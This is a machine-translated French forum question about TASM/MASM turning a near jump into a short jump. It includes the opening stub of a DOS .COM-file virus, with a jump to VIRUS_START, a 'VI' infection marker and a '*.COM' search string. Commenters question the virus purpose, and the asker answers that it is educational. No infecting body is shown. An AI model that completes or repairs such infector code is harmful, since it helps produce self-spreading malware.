J'ai besoin de près de sauter (E9 XX XX) et spécifiez que dans le code, mais TASM (et MASM) a changé cela à court (EB XX NOP) après l'assemblage.près du saut changé en saut court automatiquement
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
HOST:
jmp NEAR PTR VIRUS_START
db ’VI’
mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
COMFILE DB ’*.COM’,0 ;search string for a com file
VIRUS_START:
Pourquoi est-ce important? Et essayez-vous d'obtenir * nous * pour vous aider à faire fonctionner votre virus? –
J'ai besoin de ceci à des fins éducatives, s'il vous plaît aider si vous le savez, merci –
J'ai toujours été heureux quand l'assembleur a fixé mes sauts et n'ai jamais essayé de le faire ne pas le faire. –